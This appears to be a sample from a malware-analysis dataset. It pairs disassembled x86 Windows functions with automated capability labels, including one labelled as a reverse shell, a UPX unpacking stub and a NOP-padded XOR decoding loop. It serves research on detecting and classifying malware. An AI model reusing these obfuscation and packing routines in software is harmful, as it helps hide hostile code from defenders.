joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407207
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d3b8
cmp edx, dword [eax]
je 0x407229
add eax, 8
inc ecx
cmp eax, 0x40d448
jl 0x40721a
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d3b8]
jne 0x407357
mov eax, dword [0x40d950]
cmp eax, 1
je 0x407331
test eax, eax
jne 0x40725a
cmp dword [0x40b2e4], 1
je 0x407331
cmp edx, 0xfc
je 0x407357
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x407291
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407fc0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004080b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4072d4
lea eax, [ebp - 0x1a4]
push eax
call fcn.004080b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4096f4
push edi
call fcn.004081c0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407fc0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407fd0
lea eax, [ebp - 0xa0]
push 0x4096d4
push eax
call fcn.00407fd0
push dword [esi + 0x40d3bc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407fd0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040812b
add esp, 0x2c
pop edi
jmp 0x407357
lea eax, [ebp + 8]
lea esi, [esi + 0x40d3bc]
push 0
push eax
push dword [esi]
call fcn.004080b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x404240
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14c4
call fcn.0040a010
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x47f368]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [0x47f36c]
push esi
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], edx
call fcn.00404230
mov edi, dword [ebp - 0xc]
mov ecx, dword [0x47f370]
mov edx, dword [0x47f374]
add edi, 0x23f
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 0x20
lea ecx, [ecx]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x486afc]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x4042cc
mov dword [0x486af8], 0xedeb2e40
jmp 0x4042e7
cmp eax, 0x3eb
jne 0x4042e7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x486588], 0
mov eax, dword [ebp - 8]
lea ecx, [edi + eax]
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x486afc], 0x9e6
mov dword [0x486af4], 0xf4ea3dee
jne 0x404320
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x486afc], 0x213
jne 0x4043d0
push 0
lea eax, [ebp - 0x4c4]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
lea ecx, [ebp - 0xcc4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x14c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea ecx, [ebp - 0x8c4]
push ecx
push 0
push 0x403ed8
push 0x403f24
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea edx, [ebp - 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub ebx, dword [ebp - 4]
cmp dword [0x486afc], 0xc
jne 0x4043e4
push 0
call dword [sym.imp.KERNEL32.dll_GlobalWire]
mov edx, ebx
shr edx, 5
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov eax, ebx
shl eax, 4
add eax, dword [ebp - 0x1c]
lea ecx, [edi + ebx]
xor eax, ecx
xor eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub dword [ebp - 8], eax
add edi, 0x61c88647
sub dword [ebp - 0x10], 1
jne 0x4042a0
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], edx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404430
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Get thread local storage value
Read pipe
Set environment variable
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1808
call fcn.0040a010
mov eax, dword [0x486afc]
mov ecx, dword [0x48658c]
shr eax, 3
test eax, eax
jbe 0x40454c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x486afc], 0x959
jne 0x404532
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea edx, [ebp - 0x1008]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x1808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404240
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404470
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406f80
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47e5f8]
jne 0x406f8a
repz ret
jmp fcn.0040bc1e

Function at 0x40b845
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408bf4
and dword [ebp - 4], 0
cmp dword [0x484578], 0
mov ebx, eax
jne 0x40b8f6
push 0x401c4c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b9a7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401c40
push edi
call esi
test eax, eax
je 0x40b9a7
push eax
call fcn.00408b82
mov dword [esp], 0x401c30
push edi
mov dword [0x484578], eax
call esi
push eax
call fcn.00408b82
mov dword [esp], 0x401c1c
push edi
mov dword [0x48457c], eax
call esi
push eax
call fcn.00408b82
mov dword [esp], 0x401c00
push edi
mov dword [0x484580], eax
call esi
push eax
call fcn.00408b82
pop ecx
mov dword [0x484588], eax
test eax, eax
je 0x40b8f6
push 0x401be8
push edi
call esi
push eax
call fcn.00408b82
pop ecx
mov dword [0x484584], eax
mov eax, dword [0x484584]
cmp eax, ebx
je 0x40b94e
cmp dword [0x484588], ebx
je 0x40b94e
push eax
call fcn.00408bfd
push dword [0x484588]
mov esi, eax
call fcn.00408bfd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b94e
test edi, edi
je 0x40b94e
call esi
test eax, eax
je 0x40b945
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b945
test byte [ebp - 0xc], 1
jne 0x40b94e
or dword [ebp + 0x10], 0x200000
jmp 0x40b987
mov eax, dword [0x48457c]
cmp eax, ebx
je 0x40b987
push eax
call fcn.00408bfd
pop ecx
test eax, eax
je 0x40b987
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b987
mov eax, dword [0x484580]
cmp eax, ebx
je 0x40b987
push eax
call fcn.00408bfd
pop ecx
test eax, eax
je 0x40b987
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x484578]
call fcn.00408bfd
pop ecx
test eax, eax
je 0x40b9a7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b9a9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x49fca0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x67000]
push edi
jmp 0x49fcba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x49fcc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49fcb0
mov eax, 1
add ebx, ebx
jne 0x49fcd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x49fce4
jne 0x49fd03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49fd03
dec eax
add ebx, ebx
jne 0x49fcf0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x49fcc8
add ebx, ebx
jne 0x49fcff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x49fd55
xor ecx, ecx
sub eax, 3
jb 0x49fd1b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x49fd8a
sar eax, 1
mov ebp, eax
jmp 0x49fd26
add ebx, ebx
jne 0x49fd26
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49fcf4
inc ecx
add ebx, ebx
jne 0x49fd34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49fcf4
add ebx, ebx
jne 0x49fd41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x49fd36
jne 0x49fd52
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x49fd36
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x49fd74
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x49fd66
jmp 0x49fcb6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x49fd74
add edi, ecx
jmp 0x49fcb6
pop esi
mov edi, esi
mov ecx, 0x2cc0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x49fd92
cmp byte [edi], 0x1a
jne 0x49fd92
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x49fd97
lea edi, [esi + 0x9c000]
mov eax, dword [edi]
or eax, eax
je 0x49fe0f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xac8ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xaca04]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x49fdc4
mov ecx, edi
jns 0x49fdf3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xaca08]
or eax, eax
je 0x49fe09
mov dword [ebx], eax
add ebx, 4
jmp 0x49fde1
call dword [esi + 0xaca18]
mov ebp, dword [esi + 0xaca0c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x49fe43
sub esp, 0xffffff80
jmp 0x454d3d
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x14646a36
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x431060
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4310d2
nop
mov ebx, 0x42f3f8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x7d6a7367
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x405cb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e57b0
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x538074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 4]
mov edi, dword [ebp + 8]
test eax, eax
je 0x405dfe
cmp byte [eax + 0x54], 0
je 0x405dfe
add eax, 0x1c
lea ecx, [ebp - 0x1c]
xorps xmm0, xmm0
push eax
movlpd qword [ebp - 0x1c], xmm0
call fcn.00404c40
mov dword [ebp - 4], 0
mov eax, dword [esi + 4]
cmp dword [eax + 0x14], 8
jb 0x405d1a
mov eax, dword [eax]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405dcb
push 0
mov edx, edi
lea ecx, [ebp - 0x34]
call fcn.00483c40
add esp, 4
push 2
push 0
push 0
push esi
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x38]
push 0
push ecx
push dword [ebp - 0x24]
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x405db5
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405dab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405e1b
push edx
push ecx
call fcn.004be541
add esp, 8
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
mov byte [ebp - 4], 0
mov dword [ebp - 4], 7
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x405df0
cmp byte [ebp - 0x18], 0
je 0x405df0
mov eax, dword [esi]
test eax, eax
je 0x405dec
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov byte [esi + 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004be500
mov esp, ebp
pop ebp
ret 4
call fcn.004c40d9
int3
Function at 0x408470
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e5a21
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x538074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x21c]
push 0x208
xor esi, esi
push esi
push eax
call fcn.004c0fa0
add esp, 0xc
lea eax, [ebp - 0x21c]
push 0x103
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x40854a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x5389fc], 0
mov esi, eax
je 0x4086af
push ecx
mov ecx, 0x5389f8
call fcn.00404d60
mov eax, dword [0x5389fc]
cmp byte [eax + 0x54], 0
je 0x4086af
cmp dword [eax + 0x58], 2
jb 0x4086af
mov bl, byte [eax + 0x5c]
xor eax, eax
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 7
mov word [ebp - 0x234], ax
push esi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x234]
push 0x50d904
push eax
call fcn.00475220
add esp, 0xc
push 0x132
jmp 0x408672
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.2345InstDll.dll
lea eax, [ebp - 0x21c]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
jne 0x4085ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x5389fc], 0
mov esi, eax
je 0x4086af
push ecx
mov ecx, 0x5389f8
call fcn.00404d60
mov eax, dword [0x5389fc]
cmp byte [eax + 0x54], 0
je 0x4086af
cmp dword [eax + 0x58], 2
jb 0x4086af
mov bl, byte [eax + 0x5c]
xor eax, eax
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 7
mov word [ebp - 0x234], ax
push esi
lea eax, [ebp - 0x234]
mov dword [ebp - 4], 1
push 0x50d98c
push eax
call fcn.00475220
add esp, 0xc
push 0x13b
jmp 0x408672
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4086af
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x5389fc], 0
mov esi, eax
je 0x4086af
push ecx
mov ecx, 0x5389f8
call fcn.00404d60
mov eax, dword [0x5389fc]
cmp byte [eax + 0x54], 0
je 0x4086af
cmp dword [eax + 0x58], 2
jb 0x4086af
mov bl, byte [eax + 0x5c]
xor eax, eax
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 7
mov word [ebp - 0x234], ax
push edi
lea eax, [ebp - 0x234]
mov dword [ebp - 4], 2
push 0x50d9b4
push eax
call fcn.00475220
add esp, 0xc
push 0x142
push str.RC::RCInstExecuter::GetDllPath
push str.d:jenkinsworkspacepc_2345mpcsafe_build_rhinoprotect_rtpsystem_src2345instdll_rcinstexecuter.cpp
lea eax, [ebp - 0x234]
mov ecx, 0x5389f8
push eax
push 2
call fcn.00405960
test bl, bl
je 0x4086a4
lea eax, [ebp - 0x234]
mov ecx, 0x5389f8
push eax
call fcn.00405cb0
lea ecx, [ebp - 0x234]
call fcn.00403200
test esi, esi
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004be500
mov esp, ebp
pop ebp
ret 4
Function at 0x41ba40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e93d8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x538074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov dword [esi + 0x10], eax
call fcn.004c7b02
mov ecx, dword [esi]
add esp, 4
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
test ecx, ecx
je 0x41bb1a
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x1c], edx
call fcn.00414d70
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x38]
call fcn.00402f40
test al, al
jne 0x41bb0b
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x38]
call fcn.00402f50
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41bb0b
test esi, esi
je 0x41bb0b
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 8
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38]
call fcn.00402fc0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004be500
mov esp, ebp
pop ebp
ret 4
Function at 0x41ef40
Capabilities:
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e9a9d
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x538074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.00403060
mov dword [ebp - 4], 0
lea ecx, [esi + 0x18]
call fcn.00403060
mov byte [ebp - 4], 1
lea ecx, [esi + 0x30]
call fcn.00403060
mov byte [ebp - 4], 2
lea ecx, [esi + 0x48]
call fcn.00403060
mov byte [ebp - 4], 3
lea ecx, [esi + 0x60]
call fcn.00403060
mov byte [ebp - 4], 4
lea ecx, [esi + 0x78]
call fcn.00403060
mov byte [ebp - 4], 5
lea ecx, [esi + 0x90]
call fcn.00403060
mov byte [ebp - 4], 6
lea ecx, [esi + 0xa8]
call fcn.00403060
mov byte [ebp - 4], 7
lea ecx, [esi + 0xc0]
call fcn.00403060
mov byte [ebp - 4], 8
lea ecx, [esi + 0xd8]
call fcn.00403060
mov byte [ebp - 4], 9
lea ecx, [esi + 0xf0]
call fcn.00403060
mov byte [ebp - 4], 0xa
lea ecx, [esi + 0x108]
call fcn.00403060
mov byte [ebp - 4], 0xb
lea ecx, [esi + 0x120]
call fcn.00403060
mov byte [ebp - 4], 0xc
lea ecx, [esi + 0x138]
call fcn.00403060
mov byte [ebp - 4], 0xd
lea ecx, [esi + 0x150]
call fcn.00403060
mov byte [ebp - 4], 0xe
lea ecx, [esi + 0x168]
call fcn.00403060
mov byte [ebp - 4], 0xf
lea ecx, [esi + 0x180]
call fcn.00403060
mov byte [ebp - 4], 0x10
lea ecx, [esi + 0x198]
call fcn.00403060
mov byte [ebp - 4], 0x11
lea ecx, [esi + 0x1b0]
call fcn.00403060
mov byte [ebp - 4], 0x12
lea ecx, [esi + 0x1c8]
call fcn.00403060
mov byte [ebp - 4], 0x13
lea ecx, [esi + 0x1e0]
call fcn.00403060
mov byte [ebp - 4], 0x14
lea ecx, [esi + 0x1f8]
call fcn.00403060
mov byte [ebp - 4], 0x15
lea ecx, [esi + 0x210]
call fcn.00403060
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41f0d0
Capabilities:
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e9a9d
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x538074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0x15
lea ecx, [esi + 0x210]
call fcn.00402fc0
mov byte [ebp - 4], 0x14
lea ecx, [esi + 0x1f8]
call fcn.00402fc0
mov byte [ebp - 4], 0x13
lea ecx, [esi + 0x1e0]
call fcn.00402fc0
mov byte [ebp - 4], 0x12
lea ecx, [esi + 0x1c8]
call fcn.00402fc0
mov byte [ebp - 4], 0x11
lea ecx, [esi + 0x1b0]
call fcn.00402fc0
mov byte [ebp - 4], 0x10
lea ecx, [esi + 0x198]
call fcn.00402fc0
mov byte [ebp - 4], 0xf
lea ecx, [esi + 0x180]
call fcn.00402fc0
mov byte [ebp - 4], 0xe
lea ecx, [esi + 0x168]
call fcn.00402fc0
mov byte [ebp - 4], 0xd
lea ecx, [esi + 0x150]
call fcn.00402fc0
mov byte [ebp - 4], 0xc
lea ecx, [esi + 0x138]
call fcn.00402fc0
mov byte [ebp - 4], 0xb
lea ecx, [esi + 0x120]
call fcn.00402fc0
mov byte [ebp - 4], 0xa
lea ecx, [esi + 0x108]
call fcn.00402fc0
mov byte [ebp - 4], 9
lea ecx, [esi + 0xf0]
call fcn.00402fc0
mov byte [ebp - 4], 8
lea ecx, [esi + 0xd8]
call fcn.00402fc0
mov byte [ebp - 4], 7
lea ecx, [esi + 0xc0]
call fcn.00402fc0
mov byte [ebp - 4], 6
lea ecx, [esi + 0xa8]
call fcn.00402fc0
mov byte [ebp - 4], 5
lea ecx, [esi + 0x90]
call fcn.00402fc0
mov byte [ebp - 4], 4
lea ecx, [esi + 0x78]
call fcn.00402fc0
mov byte [ebp - 4], 3
lea ecx, [esi + 0x60]
call fcn.00402fc0
mov byte [ebp - 4], 2
lea ecx, [esi + 0x48]
call fcn.00402fc0
mov byte [ebp - 4], 1
lea ecx, [esi + 0x30]
call fcn.00402fc0
mov byte [ebp - 4], 0
lea ecx, [esi + 0x18]
call fcn.00402fc0
mov dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.00402fc0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret